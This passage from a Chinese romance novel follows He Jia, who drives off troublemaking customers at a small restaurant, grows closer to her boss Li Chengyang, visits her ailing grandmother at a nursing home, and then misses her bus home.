“你走不走?嗯?你走不走?”何嘉咬牙切齿,眼神剜得他腿软,“我再给你个机会,你们要么立马滚出去,要么我就报警!监控里看得一清二楚!到时候绝对判你们寻衅滋事!”
几个男人将秃头团团围住,分别伸手去拉他的衣服,有人说:“走了哥,他们几个都不要命,不划算。”
秃头“呸”了一声,不相信她真的那么疯,“你真能砍我?你往这儿来啊。”
“你可以试试!”何嘉真的将刀推到他面前,丝毫没有犹豫的神色。
秃头男摸不准她的心性,暗骂一声,说:“操,算你丫的有种。”
“走了,哥,等会儿真报警了。”几个人将他推搡着离开,一路上骂声不断。
其中一个男人扯着嗓子吼:“这家店要杀人啊!谁他妈还敢去吃!”
张壅追到门口继续骂:“日你仙人!有多远滚多远!他妈的不要脸!”
他们的声音惊动长街上的店家,好几家店主都探头出来看这是怎么回事。
一行人的骂声纷纷扬扬,一直走到路口才停歇。
少了这桌专门挑事的客人,剩下几桌看热闹的也陆续陆续离开,饭馆最终回归宁静。
张壅和蒋姨询问何嘉有没有事,而她摇着头将水果刀搁在桌子上,有些没了力气。
她想动动右手,却发现李成杨还握着她的手腕。
他的视线留在她脸上,眼眸滑过很多不同的情绪。
“划到手没有?”他问她,语气恢复往日的平静,但又多了一种她从未见过的关切。
“还好,有一个很小的口子而已。”她将左手手掌拿给他看,上面确实有条红线一样的伤痕。
“等我。”他轻轻放开她的手腕,去前台翻翻找找,最后拿出一个创口贴。
他捏着创口贴回到她面前,声音很轻:“手掌打开。”
何嘉听话伸手,她的手心因为情绪激动还在发红,而他指尖轻触,将那张创口贴小心地贴到她的伤口上。
她觉得掌心的位置有点微微发痒。
李成杨站在灯光下,睫毛如同上个夜里一般拉长阴影。她也问他:“你的手腕没事吧?我刚才挺用力的。”
他看了眼那块皮肤,确实留下一个泛红的手印,手掌大小和她的尺寸一模一样。
“没事。”他说。
“那就好。”何嘉还处在亢奋状态,整个人止不住颤抖。
李成杨替她整理创口贴,抬头的时候语气柔软,他问她:“刚才怕不怕?”
14. 第14章
“怕。”
何嘉先点点头,视线停在他的脸上的时候又摇摇头,“但是后来就不怕了。”
李成杨放开她的手,仍觉得指尖残留着她的温度。
他突然变得很柔和,低头看她的时候眼里装满笑意。
“你很厉害,保护了我。”
她愣愣地看向他,被这句话一下抓住心脏。
李成杨当她还在紧张中愣神,伸出手轻轻抚过她的发顶。带着抚慰的意味,温柔地揉了揉。
“何嘉。你很勇敢。”他这么说。
何嘉仰头瞧他,看见他的眼神温润清澈,全身在暖光下发光。只需要再停留一秒,她就觉得自己快要坠进他深沉的眼睛。
不知道是因为还在亢奋,还是因为别的原因,她发觉自己的心脏又开始猛烈跳动。
一下又一下,清晰有力,却不是因为紧张。她想起那天的夜里,她也是这么望向他,初次发现自己能看见蝴蝶迁徙的震撼。
现在蝴蝶飞到他的眼底,让她一下子红了脸颊。
她低头抿嘴,耳朵的温度烫得异常。
“没有,没有的。”她有些呼吸不过来。
他却很肯定:“如果不是你的话,我刚才可能真的会打他,也许你下次见到我就在派出所了。”
何嘉感觉大脑眩晕,尽量让自己清醒一些,“我刚才只是觉得很生气,他们有点太过分了。而且,他们又是因为我才找事的。”
“确实是他们过分了,没想到他们还会再来一次。”他想起她刚才张牙舞爪的样子,笑了:“只是我同时没有想到你会站出来帮我骂人。”
何嘉想起自己刚才凶神恶煞的样子,一下子萎靡不振。
那么穷凶极恶的样子都被他看到了……
小姑娘觉得脸上更加燥热,站在原地不声不响。
他猜到她在想什么,主动解释:“你刚才很有魄力。”想了半秒又说:“像蜜獾一样。”
“那是什么?”
“一种野生动物。”
她不懂这是什么形容,抬起头问他:“为什么?”
他说:“很警惕,而且谁叫就咬谁。”
这算是在夸她吧?
她刚才吵架的时候都没有觉得头晕目眩,现在反而看东西像有重影一样。
她实在是不可以和他再这么说话了。
“老板,我要坐一下。”何嘉指着身边的板凳,故意和他隔开一段距离。
“嗯。”他点头,趁间隙走到饮水机旁接了一杯清水。
回来的时候递到她手边,“喝吧。”
何嘉颤着手心去端那杯水,整个人看上去还是很紧张。
她的发尾潦草地耷在脸庞,几根头发因为静电直直立在头上,看得出来有些发棕。
她喝水的时候会低眉,嘴巴张得不大,最多只是抿了几口,透露出一向防备不安的内心。
几抹嫣红留在她的脸颊,这时她的睫毛轻颤,如同往日那般习惯害羞。
这样一个透着稚气却又充满韧性的姑娘,就连坐在那里都看上去瘦小。
可她当时,坚决地站在他面前,她选择用自己的方式保护他。
李成杨无法将视线从她身上移开。
因为刚才发生的一切让他感到陌生,甚至是让他感到怪异。
他已经过了而立之年,见过太多这样棘手矛盾,他习惯独自面对困难,也想过用暴力解决问题,但他从未想过有人会坚定地为他挺身而出。
就像是一片黑夜孤寂太久,第一次见到闪烁的星星。
无知的人认为那是奇迹。
“何嘉,为什么开始怕后来就不怕了?”
他想知道这个问题的答案,是这十年中第一次感到困惑。
她喝完最后一口水,放下杯子的时候朝他腼腆地笑笑:“开始怕是因为怕他们闹事又要我赔钱,可是我既惹不起也赔不起呀。反正他也只是让我倒水,就算是刁难也没有特别过分,所以我觉得可以忍一忍的。啊,但是他又要吃我豆腐就很过分了。”
他沉默地盯着她的眼睛,试图从她的话里分析出一些别的东西。
比如她一直是这么勇敢的,难道不是吗?她上次不也知道保护自己吗?
她只是比同龄人成熟,太早知道人心险恶和社会现实,所以她害怕的不是他们刁难她,而是没有人能在她陷入困境的时候帮她托底,她得一个人承担后果。
所以她选择沉默,她得先忍一忍。
“那后来呢?为什么改主意了?”他又问。
“那个啊,”她摸了摸面颊,不好意思地说:“我来店里也不算久,他们就因为我找了两次茬,我觉得不太好……而且,他当时骂你了,我就有点生气了。还有,我怕你真的跟他们打起来了,他们几个人你一个人,万一受伤怎么办?”
“就这么简单?”他眼神微动,喉头发涩。
“嗯,就是这样,我不想你因为我又赔钱了。况且当时你来了,我也不知道怎么就不怕了,反正我们也有两个人了啊。”
就是这么简单。
为一个人挺身而出的原因就是这么简单。
没有那么多弯弯绕绕,只是因为见不得他被骂,见不得他受伤。
“谢谢。”
谢谢她站在他身前,谢谢她考虑他。
“没什么的老板,他们这种人特别不要脸,不要脸的人什么都不怕,只怕不要命的人。但是我其实也有点害怕的,因为我怕他们万一也不要命了,那就难办了。”
她说这话的时候睫毛一颤一颤的,仿佛是在回忆刚才的场景。
李成杨长舒一口气,说:“是我冲动了,你做得很好,非常聪明也很大胆,比我跟他们打一架的方案要好。”
她狡黠地笑了:“老板,他们好几个人呢,要打的话你也打不过啊!”
几根发丝随着她的动作浮动,在空中划过几个漂亮的弧线,一如她面容那般光彩夺目。
他难得又露出酒窝,神秘地说:“不一定,要试过才知道。再说,他们在年龄上有点吃亏。”
何嘉想到他们几个确实都看上去不年轻了,至少是五十岁以上。
她赞同:“好像是诶。”
她的笑容落在他的眼里,如同白昼里的流星。
他如今知晓,面前这个年轻又懂礼貌的姑娘和他想的完全不一样。她是一颗寂静生长的榕树,郁郁葱葱、不骄不躁,但也能够掰坏栏杆,推到高墙。
“他们以后应该不会来了,如果来的话就跟我打电话吧。”他朝她附身,很郑重地说:“交给我,不要再自己处理这种事了。”
何嘉太久没有听到这种话,一时间觉得心里很暖,没来得及做出回应。
没得到回答,他歪头看她,“嗯?”
何嘉被他的动作吓到,一下从椅子上跳起来,撇过头猛地点头。
“好,好的好的。”
李成杨闻到一股香气,是从她发间传来的兰花气息。
他生硬地后退几步,咳了一声。
再看她,她的指尖交叠在身前,食指轻抠着指甲,脸上很红润。
是不自在的神色。
他突然就意识到她已经不是小孩了,刚才那样的距离确实不合适。
“去休息吧,等会儿吃饭了。”他转身,将空间全都让给她。
何嘉抓住时机说:“我要去厨房看看有没有要帮忙的!”
话音刚落,只一瞬间便消失不见。
李成杨错愕,伸出手挠了挠脑袋。
厨房里温度火热
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,张壅和蒋姨忙着准备今天的晚餐。
见何嘉匆忙进来,张壅扬了扬锅铲,“你进来干嘛?出去呆着,这儿忙着呢。”
何嘉哪里舍得出去,刚才可是好不容易逃过来的。
“我来帮忙,有没有什么需要打下手的地方?”
张壅觉得她很神奇,“你力气多得用不完?才吵完一架都不用休息?”
何嘉噎住:“……不是。”
张壅兴致来了:“行啊你,我都没想到你这么狂野的。”
何嘉瞪他一眼:“怎么了嘛,没见过人吵架?”
“那不是,”他回头给了她个眼神,“我是没见过你这么勇猛的。命都不要啦?还直接上刀子呢。”
她很诚实地说:“不,我只是怕他们打起来,老板打不过。”
“……”张壅沉默一秒说:“那你可能误会了。”
“嗯?误会什么?”她不解。
张壅语重心长地说:“他们就几个老头儿,不是杨哥的对手。”
“他刚才也这么说。”
“他说了啊?”
“是啊。”
“笑死我了。”
“你是不知道他以前,”张壅继续说:“我师父就是他爸啊,以前跟我说过他小时候挺闹腾的,隔三差五翘课打架啊,反正犯事的时候少不了他。”
何嘉微怔,“老板以前是这样的吗?”
“是啊,是不是还挺暴力的?所以对付那几个老头还是没问题的。”
“嗯,有点没想到。”
他说:“但是他现在不这样了,你想啊,人年纪大了怎么着?还是要温和点,没有那种心气儿了。”
何嘉默默弯了弯嘴角,“你嘲讽他年纪大,小心我告诉他啊。”
他凑到她身边小声说:“切,你就说大不大吧,大你十岁都能让你喊叔叔了哟。”
何嘉被他逗笑,隔着玻璃往外瞧了一眼,视线正好落在李成杨眼里。
外面的李成杨被看得不明所以,奇了怪了,这两人说什么还说到他了?
张壅又忍不住说了句:“你看他,等会儿肯定要问我们又在说他什么,唉,老年人是这样的,对什么都特别在意啊。”
“老板也不算老呀,三十多正直壮年。”她为他辩解一句,但又想起张壅刚才的语气,还是忍不住要笑。
李成杨透过玻璃看见她的梨涡,心里泛起一阵奇怪的情绪。
她和张壅什么时候那么熟了?
“好嘞——”厨房这边的张壅一锅炒好,吩咐何嘉去拿个盘子,“在外面的消毒柜里啊,拿个大点的盘子。”
“好。”何嘉掀开塑料门帘,出来的时候正好和李成杨对视。
李成杨站在消毒柜前等她过来,看上去像有什么话要说。
她觉得事出有妖,用一种极慢地步伐向他靠近。
他站着没动,视线有意无意落在她身上。
她打开柜门,实在忍不住问他:“老板,怎么了吗?”
他很沉重地看向她,“我告诉你个事。”
何嘉拿出一个白色的瓷盘,狐疑地说:“嗯?”
“你听了自己心里有数。”
“好。”
“张壅结婚了。”
“?”
她知道呀。
何嘉看他的神情一脸懵。
李成杨看她怎么好像听不懂一样,十分无奈地解释:“他挺爱他老婆的。”
“?”她更觉得他奇怪,“所以……呢?这怎么了吗?”这是什么需要广而告之的事情吗?
这在他眼里却是:她怎么就听不明白呢?话都说到这个份上还不明显吗?
李成杨叹气,下定决心般说:“所以你跟他,没可能。”
“……”
15. 第15章(修)
“呃。我为什么要和他有可能?”何嘉实在是不明白,他究竟为什么要专门跟她提起这个话题。
李成杨被问住,眼睛瞪得很大,“你问我?你确定要问我?”
又用手抹了抹嘴巴,语重心长:“总之他结婚了,你们再有可能的话就不是很道德了。”
何嘉震惊:“我一直知道啊!我怎么会和他有可能啊?”
“我看你对他好像有想法。”
“老板,你从哪儿看出来的?”
“没有吗?”
“没有!”
何嘉被他的结论弄得哭笑不得,她真不知道他竟然会想到那里去。
“我对壅哥没有一点想法,一点也没有!”
她十分坚定地摇头,要将这个荒谬的结论甩出去。
“老板你真的想多了,我和他是普通的同事关系而已,现在没想法,以后也不会有想法的。”怕他不信又说:“我保证!”
李成杨迟疑地点头,“嗯,你知道就行。”
什么叫她知道就行?还不相信啊?
那她真是不知道说什么了,她对张壅怎么可能会有想法,再说了,就算暂时有点不一样的想法的人,也是……
何嘉视线瞟到他脸上,最终只说:“我去送盘子了。”
“去吧。”
厨房里的张壅等得不耐烦,“你干啥去啦?拿个盘子要那么久?我还以为你掉坑里了。”
何嘉心情复杂地看着他,“壅哥,你觉得我这人怎么样?”
“什么怎么样?”
“就是人……怎么样?和谁比较有可能一点?”
“滚滚滚,什么有可能没可能的,我忙着起锅呢,别烦我。”张壅催她快点出去,怎么问这种乱七八糟的问题。
何嘉觉得有道理:“那我先出去了。”
张壅出来的时候他们已经坐在桌边,他先看了眼李成杨又看了眼何嘉,两个人都干坐着不说话。
离谱。
他问:“你们俩干嘛不说话?不说话跟死人一样。”
李成杨撇他一眼,没理。
何嘉假笑一下,也没理。
“神经。”他无语。
一顿饭吃好,李成杨先离席去穿外套。
何嘉想起自己还有事要说,急忙跟在他身后。
“老板等一下,我跟你说个事情。”
“嗯?”李成杨以为她又要说刚才的事。
“我想请两天假回家,可以吗?”
原来是正事。“具体多久?”
“嗯…就明后天吧,我回一趟安城要两天,明后天又正好是周末。”
“可以。”
她很高兴:“谢谢老板,我周天晚上就回来。”
他说:“嗯,注意安全。”
“好的,老板再见。”
他的背影在黑夜里越走越远,一阵寒风吹进门帘打在她脸上,什么也没有留下。
天气预报说接下来的几天都会降温,气温趋近零摄氏度。何嘉准备了上次新买的外套,周六这天正好全副武装。
早晨的余川起了雾,街道上行人寥寥可数。
何嘉坐在一辆破旧的大巴上,摇摇曳曳两个小时,终于抵达安城。
“喂?林姨,我今天回来了,先回老房子一趟再过来。”
“哎好,小嘉你先回家收拾收拾再过来吧。”
“嗯嗯。”
电话挂断,何嘉已经穿过一条堆满杂物堆的长廊,此刻停在一扇生锈的深绿铁门面前。
好几个月没回来,门上积了一层灰褐色的灰尘。灰尘之下掩盖着几个卡通小人,仔细去看全都出自一人之手,线条童稚粗狂。那是她的杰作。
2004年那会儿《成龙历险记》风靡整个小学生群体,八岁的她特别喜欢小玉这个角色。
某天放学,她看这扇门擦得真干净,突然来了兴致,摸出只签字笔就往上画。瞧,画得真像小玉啊,她也要像小玉一样英姿飒爽!
可是非常不巧的是刚画上就被王丽琼看到了,王丽琼气得要打她屁股,“擦都擦不掉!你一天往哪儿画呢!看我不把你屁股打烂!”
何嘉吓得满屋子跑,屁股烂了都没当成小玉。
当年多么令她恐惧的场景现在忽然变得让人怀念,她意识到时间早过了十四年。
拂开灰尘,属于她的小玉还站在那里。
屋内的陈设同她开学前的样子一模一样,一室一厅,没有多少家具,客厅只有一张木质沙发,旁边摆着一套桌椅,其中一个桌腿高低不平,垫着几张旧报纸。
空气里还保留着夏天时候的潮湿,闻起来有点刺鼻,一股东西发霉之后又被阴干的味道。
何嘉沿着屋子找了一圈,没看到哪里发霉,倒是在厨房的案板上看到一个忘记清理的饭碗,里面的米饭已经发霉变黑,酸臭味挡都挡不住。
上次走之前怎么连这个都忘了?
她忍着想吐的感觉找了个袋子,将碗直接扔掉后重新擦洗了案板。
做完这些后,何嘉回到卧室将床上照着的塑料床罩移开,花里胡哨的床单露出来,那是王丽琼的审美。
她打开衣柜看到几件属于王丽琼的衣服,给林桂兰打了个电话。
“喂?林姨,我阿婆还有没有什么需要的东西?我可以从家里带过来。”
林桂兰说:“好像都有了,平时缺的东西我直接在这边买的,你直接过来就好。”
“好。”
从小区出来要坐113路公交车,距离“华阳敬老院”有21站,几乎是起始站到终点站。
一路上她心情有些紧张,不知道是这几月都没见到阿婆还是因为有些近乡情怯。
七上八下两个小时终于到站,她提着一袋苹果走进养老院。
虽然王丽琼已经不能吃苹果了,但是她是想买点过去。
推开熟悉的房门,病床上躺着一个皮肤干瘪瘦小的老人,她是睡着的,只是嘴巴大张没办法闭起来。
林桂兰从椅子上站起来迎接她,“小嘉来了啊。”
何嘉将苹果递给她:“林姨给你吃的。”
林桂兰说:“哎呦怎么还提一袋苹果过来嘛,你阿婆吃不了我也不好意思吃呀。”
“没事。”
何嘉走到病床旁边,看到床上的王丽琼皱着眉头,像是在忍痛的模样。
“她还能感觉到痛吗?”何嘉问林姨。
“应该是感觉不到了,这个病到后期就是没知觉的,我前几年照顾过的病人都是这样的。”
“好,那就好,不痛就好。”
不要让她的阿婆再感到疼痛就好。
王丽琼原来有一头特别漂亮的小卷发,现在却留着寸头,头发已经全部变白,甚至眉毛也出现白色。
她已经很苍老了。
何嘉替她掖了掖被角,听见她的呼吸微弱。
无论见过多少次,她都还是没有办法将原来那个风风火火的王丽琼和现在的阿婆联系起来。
她很瘦弱,身上没有一点肉,手臂的骨头僵硬凸起,看上去经不住一点差错。
这十一年的后半程里,她每日都卧在床上,不能自理也没有自尊,从前她是一个多么精明能干的老太太,出门总是要穿着精心挑选的促销裙子。
她说:“人穷也要有体面,把自己弄得像个要饭的脸上都羞得慌。”
可现在呢,她的身下垫满尿垫,为了方便清洁片缕不着,她只能等别人替她收拾失禁后的残局。
她不能说话了,也没有体面了。
何嘉忍着喉咙里的涩意,转头深呼吸。
过了半晌她平静下来,问林姨:“我妈呢?”
林姨语气沮丧:“你妈妈本来说这几天回来的,但是你也知道她在江州也有自己的生活,那边的小孩说是什么来着……?出国?她现在走不开。”
自己的生活?自己的生活就是她有另外的家庭了,这个家庭与她和王丽琼无关。
林姨怕她伤心故意没有这么说。
“我知道。可是她为什么都不来看阿婆?只是回来看看都不可以吗?她明明说了会回来的,阿婆现在都这样了,难道还剩很多时间吗?”
林桂兰摇头,“小嘉,你也别太怪你妈妈,养老院这边一个月五千都是她在付,费用不低的,一年要花六万多都是她在承担。你想啊,她在那边也有家庭的,还有小孩要养,这个钱花了老公那边肯定有意见的,你妈妈做到这个份上也不容易。”
何嘉怎么不懂,她只是心里失落:“我都知道的,只是我……我也是她的小孩,但是我一出生她就不要我了,是阿婆把我带在身边我才能长这么大,我肯定跟阿婆感情深。
我也不是要怪罪她,我……我只是……我只是不明白,她不来看我就算了,可是为什么也不来看阿婆?这是她妈妈啊,她妈妈……”
林桂兰拍了拍她的背,语重心长:“小嘉,这些话本来不是我一个外人该说的,但是都说到这儿了。你妈妈没管你肯定是有问题的,但是你阿婆这儿,她已经比很多人做得好了。
人到中年真的不是那么容易的,上有老下有小,白天挣钱晚上带小孩,还要受公婆的气,但是她这么多年都在供她,比她那个没出现的弟弟好太多了。”
这个弟弟何嘉也认识,是一个自从阿婆生病后再未出现的舅舅。
王丽琼身体还好的时候给他买房,那个时候他经常回老房子看她们。他每次回来都要给何嘉买瑞士糖,水果味的五颜六色。
何嘉一度很喜欢他,也很喜欢他回来看阿婆,因为王丽琼也会给他做一桌子蹄花,他就喜欢吃这些。
然而王丽琼开始发病后,他就渐渐不来了,他说自己要出差,哪有那么多时间守在她身边,再到后来,他真的再也没出现过。
“可笑。”何嘉觉得生活真是一出黑色幽默,“我阿婆之前对他
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那么好,半辈子挣的钱都给他买房了,最后他管都不管她,有些人真的没有良心,我不知道人怎么可以这样的。”
林姨叹气:“是这样的,有些人忙了大半辈子都是为了儿子,结果到头来还不是只有女儿管。所以你妈妈心里对老婆婆也有气,财产都是儿子的,爱也是儿子的,但是病了就要女儿来服侍,谁心里都有怨言的。”
这个话题太现实,让何嘉也不知道怎么说。她一直埋怨妈妈不要她,也埋怨她太冷血,自己的妈妈病成这样都不来看,但是又想到她除了不来看阿婆,该做的一直都做到了。
这么多年都是她在供养王丽琼,一分不少。
何嘉心里很复杂,同时也是对王丽琼的,她有点没法接受那么爱自己的阿婆也是那种重男轻女的人。
王丽琼这大半辈子爱很多人,就是不爱自己的女儿,她的女儿也爱很多人,但也是不爱自己的女儿。
生活真的好奇妙。
一圈又一圈轮回的命运,到最后都找不到一个解释。这怎么说?这没法说。
“我不知道怎么办,我也觉得很矛盾。我一边觉得阿婆病成这样了,我妈应该来看她,但是又想起阿婆对我妈也不好,我又觉得我妈不来看她也是正常的。
我怪过她的,不仅仅是因为她不要我了,还有她真的可以做的那么绝,十多年来一次也没回过安城,哪怕是回来看阿婆一眼呢?她没有。”
说到这里,她的声音变得哽咽:“我真的不知道该怎么想……我一边觉得阿婆很爱我,她对我的好都是真的,可是,可是她又对我妈那么坏……她为什么不爱她呢?
每次想到这些我就不知道自己该以一个什么样的心情面对她们,大人的事情真的,真的……好复杂,矛盾的事情怎么可以同时发生呢?”
真的好复杂。她明明也是大人了,却怎都搞不懂这些难题。
她不知道,人就是很复杂的动物。
林姨站在她身边,忍不住抱住她:“没事的乖乖,这不是你该想的事情哦,大人的事就让大人自己处理,你摆正自己的心态就好了,没关系啊,这些不是你的问题。”
“我知道的,我知道我不该想这些。可是,我自己没有办法处理自己的想法。我很纠结,我真的很纠结……阿婆这边对我很好,所以我就总想大家也对她好,但是…当我知道她对我妈那么坏,我又觉得她没有那么好,我怎么会有这样的想法呢?我觉得很愧疚……
我知道我妈对我不好,她根本不要我,我觉得她很坏,但是…但是她又一直供着阿婆,然后我就觉得她又不是那么坏了…唉…我真的,真的不知道该怎么说。”
“小嘉啊,你要晓得,这些事情都是她们自己的事情,不管你的事啊,你只用记得哪个对你好哪个对你不好就行了。除此之外,不该你来思考,都是上一辈之间的事情,你个小姑娘思考这些纠结这些做什么哦,你该好好读书好好去耍一耍!”
何嘉愣在她怀里。
这些真的不是她该考虑的事吗?可她还是忍不住要纠结。但是纠结有什么意义呢?
她忍不住要哭:“我知道了,我知道的林姨。谢谢你林姨,你照顾我阿婆这么多年了,真的辛苦了,要是没有你她该怎么办啊?她怎么办?”
“哎呀,没关系,”林桂兰心里也发酸,眼角浮现水光,“没事的乖乖,我经验足嘛,都照顾过好多病人的,你阿婆这边一直有我,你平时莫担心晓得不?你在那边读书也是一个人,要照顾好自己,不要生病,要多吃点饭,你看你都那么瘦的呢。”
“好……”何嘉的泪水滴在林姨肩上,林姨替她抹了抹脸颊。
“不哭不哭,那么乖的小女娃娃不哭啊。”
何嘉尽力挤出一个微笑,“嗯,我不哭。”
她不哭,以前王丽琼也这么说过。
她五年级的时候王丽琼病了,不能再照顾她了,她要被送去住校,一个月才能回来一次。
何嘉在学校盼星星盼月亮,总算盼到放月假的时候。
她回去看王丽琼,要跟她说好多好多学校发生的事。
比如“阿婆你都不晓得我们那个数学老师有多好……那个叫xxx的同学他真的好讨厌……我最近吃了炒牛肉真的好好吃,但是没有你做的好吃……”
王丽琼那会儿还可以讲话,甚至会跟她一起聊好久的天。
月假只有一天半,每到该搭车回学校的时候何嘉都要哭鼻子,她说“阿婆我不想去学校,我想你,我还没走就开始想你了。”
王丽琼笑着骂她两句“没出息,那么大了还要想阿婆”,然后重复同样一句话——
“嘉嘉,不哭啊,你自己在那边照顾好自己,要乖哈,不要想我,要好好读书,听到没有?不要想阿婆。”
听到了,这么多年她一直没忘。
只是夜深人静的时候她还是忍不住要想她。
阿婆现在正在做什么呢?嘉嘉真的好想她。
16. 第16章
回到老房子莫约晚上八点。
何嘉煮了半袋汤圆来吃,不知道怎么的,她觉得好饿。
她得多吃一点东西,那样才会觉得稍微有点安全感。
汤圆是花生红糖馅儿的,咬在嘴里齁甜。她以前很爱吃甜食,现在却一点也不喜欢。
碗里的热气飘在她的脸上,她一低头,两滴水珠落在碗里,几圈涟漪。
不哭,不哭。
她深呼吸几口,眼睛朝上看。
哭什么呢,刚才明明都哭过了。
可是一股巨大的酸意攥住她的心脏,让她透不过气。她觉得无助应该是黑色的,那抹黑色此刻攀上她的背脊,让她整个人都动弹不得。
她内心不安,但更多的是迷茫,她想到王丽琼躺在病床上的样子,她看不到未来。
“叮咚叮咚。”手机被她放在桌子的另一边,非常不合时宜地振动两下。
她咽下嘴里的甜腻,伸手去拿。
屏幕显示两条消息。
【你没拿钥匙?】
【图片.jpg】
一把铁钥匙安静地躺在吧台上,无人记起。
何嘉回复:【今天走的时候忘记了。】
李成杨说:【那你明天回来怎么开门?】
她呼出一口气,比刚才平静不少。
何嘉:【老板,我应该晚上九点就回来了,那个时候壅哥应该还没下班,店里有人。】
李成杨回:【也行,我把钥匙放门口花坛里了,要是没人你自己找。】
何嘉说好。
她还捏着手机,不知道怎么现在突然不想一个人,如果可以的话,她很想有人可以和她说说话。
她需要有人可以陪陪她。
斟酌半分钟,她慢慢打了一行字。
【老板,你现在在忙吗?】
对方没有立马回复。
何嘉盯着对话框,近乎执拗地等着。
大概过了五分钟,他才说:【在吃饭,怎么了?】
何嘉:【在店里吃的吗?】
李成杨:【嗯】
何嘉:【吃的什么?】
李成杨很疑惑,平时从来不跟他聊天的姑娘今天怎么问这些?
他看了眼桌上的菜,开始打字:【小炒牛肉,滑肉汤,清炒白菜,蒸蛋。】
【好吃吗?】她又问。
李成杨更觉得奇怪,怎么回事?今天怎么揪着吃饭的事情不放。
他想了会儿,昨天她说请假干嘛来着?回家是吧。在家里怎么了吗?
张壅坐在他旁边问:“咋的?吃饭还回消息啊?谁啊?”
“何嘉。”
“她不是回家了吗?有事啊?”
“不知道。”
“她说啥?”
“问我忙不忙,在哪吃的饭,吃的什么,好不好吃。”
“嗯?”张壅塞了一口牛肉,“和家里人吵架啦?”
李成杨不知道他怎么得出这个结论的。
“别乱猜。”
他很自信:“你那年纪是不懂我们年轻人滴。突然问这么无聊的话题要么是心情不好,要么是想你了要和你聊天。我猜想你是不可能的,多半是心情不好,要不然人家哪能关心你吃什么?”
虽然李成杨对他攻击自己的年龄很不爽,但是觉得莫名有道理。
正要回复“好吃”的时候手机一把被张壅抢过去。
“你皮痒了?”李成杨嫌他烦。
他却打开相机自拍了一张。
图片里是张壅比耶的造型,身后有刚才说到的一桌子菜,还有李成杨想揍他的表情。
何嘉收到这张照片的时候微微愣住,忍不住双手放大去看。李成杨皱着眉头,表情有点无奈还有点烦躁,但是依旧非常赏心悦目。他前面的张壅笑得一如既往,不用想都知道这张照片的始作俑者是他。
莫名,就还有点和谐。
何嘉擦掉脸上的泪痕,稍微弯了下嘴角。心里没有那么荒芜了。
这时李成杨发来一句:【张壅欠揍。】
何嘉说:【没有,看出来饭挺好吃的。】
他本来想发一个“?”,还是算了。
【嗯。】他说。
何嘉将这张照片默默保存下来,突然觉得心里某个位置正在试着冲破那抹黑色,尽管力气微弱,但还是在试着这么做。
很合时宜,他的消息总是很合时宜。她默默想了这一句,放下手机。
汤圆还飘着热气,她将它们全都吃掉一个不剩。
接下来的一天何嘉很早就去了养老院,一直陪在王丽琼身边。
她现在大多数时间都在睡觉,只有一两个小时是清醒的。
这次醒来发现何嘉就在身边,她一直盯着何嘉看。
“怎么啦,阿婆不认识嘉嘉啦?”何嘉坐在她身边握着她的手。
她的手很僵硬,皮肤也变得松弛。
王丽琼张着嘴发出几个音节:“jiajia——”
何嘉朝她微笑:“对,是嘉嘉,嘉嘉回来看你。”
她依旧盯着何嘉看,只是嘴巴张着发不出其他的音节。
何嘉给她擦手,眼神柔软,“阿婆,你要好好的啊,听到了没?你以前也是这么跟我说的啊,要好好的。”
她眼神黯淡,眨了眼睛又好像没有。
“阿婆,你要再坚持一会儿好吗?上个月我考完研了,现在成绩还没出来呢,不过应该快了。你要看着我去读研究生好不好呀?”
她还是这么看着她。
“阿婆,你不是说当老师好吗?我考了研究生就是去做老师呀,以后回来做老师好不好?你以前总说当老师特别好,工资稳定还体面,那我以后就去做老师,到时候你还可以跟别人吹牛说你幺孙是老师呢。”
她没有回应,其实她们谁都知道,王丽琼再也不可能开口和别人吹牛了。
何嘉将她的手放进被子里,又贴在她耳边说:“阿婆,你再叫叫我,再叫叫我好不好?”
王丽琼艰难地动了动嘴巴,这次好像怎么都发不出音调。
何嘉俯在她嘴前,抿着嘴不说话。
“jia——”
“jia——”
“嘉……”
“对,嘉嘉,是嘉嘉啊。”
何嘉猛地点头,眼里的情绪汹涌。
“是嘉嘉,我是嘉嘉,阿婆你不要忘了我,我是嘉嘉。你再坚持一会儿好不好,我是嘉嘉,我在外面把自己照顾得很好,你说…你说我在外面要乖,要好好读书,我都做到了的,我好好读书了的,我也听你的话了……我没有经常想你了,我真的很努力了。阿婆……”
她将脑袋埋在阿婆手边,心脏不断下坠,她没有办法,她什么都没有办法,她不能改变什么,她无能为力。
以前以为长大了就可以办成很多小时候办不成的事,但真的长大之后才知道,大人的世界根本不允许你再有这样的幻想。
办不成的事一辈子都办不成,现实永远变不成想象。
“jia……jia……”
王丽琼又叫了她一声。
这次她尽力将自己的情绪藏起来,“嗯,我在。”
“……”
“阿婆,怎么啦,你不喜欢我哭对不对?我没哭,真的没哭,你看我脸上,没哭。”
王丽琼眨了眨眼睛。
何嘉强忍着的那滴泪水落到王丽琼的手上,让她无意识动了动指尖。
“哎呀,被你发现了。”何嘉装作微笑的样子。
……
从养老院出来之前何嘉又叮嘱她一遍:“阿婆,你再等等啊,过年的时候我再回来看你,你好好的,不要想我啊。”
王丽琼累了,早已闭上眼睛睡去。
再检查一遍她身上的被子,何嘉小心翼翼地推开房门又关上。
现在她坐在去汽车站的公交上,不知道怎么突然也觉得累了,明明是两天之中发生的事情,却好像过了很久很久。
这两天她的情绪一直不稳定,不是在担心就是在焦虑,甚至昨天躺在原来的房间里也没怎么睡着。
一晚上总是浮现许多从前的记忆,混混沌沌不分现实和梦境。
公交车被路上的坑洼颠簸两下,让她不自觉陷入梦乡。
“醒醒,小妹儿?醒醒!”
再睁眼的时候公交车司机站在她身边。
“到站了啊,最后一站了!你咋个睡着了哦,搞快看一下是不是你要到的站!”
何嘉往窗外环视一周,写着“安城至余川”的大巴早就开出几公里了。
她连忙道歉:“不好意思啊叔叔,我有点累就睡着了。”
“没事没事,下去吧。”
何嘉下来的时候一看时间,19:39了!
距离她上车的时间过了整整就九分钟!
她赶忙走到卖票处去问:“不好意思,七点半那趟安城到余川的车开走了吗?”
售票员说:“都过了十分钟了,早走了。”
“啊,”她只好问:“那可以退票吗?我没来得及赶上。”
售票员说:“个人原因没赶上不行的。”
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她急了:“可是我人没上去呀?不可以退吗?退一半也可以啊?”
售票员无语:“你订票的时候也占了位置啊,你订了别人就买不了了,而且发车后你自己没赶上的话我们不予退票的。”
“可是我人没上去嘛!”
“我知道,我们规则就是这样,发车后个人原因不予退款。”
两人又来回好几句,何嘉见他实在没商量的余地,只好失魂落魄地坐在路边的花台。
“唉。”她长叹一口气。
“唉。”旁边一个和她差不多年纪的女孩一样叹气。
她们相视一眼,女孩问她:“你好,你也没赶上车吗?”
何嘉点头。
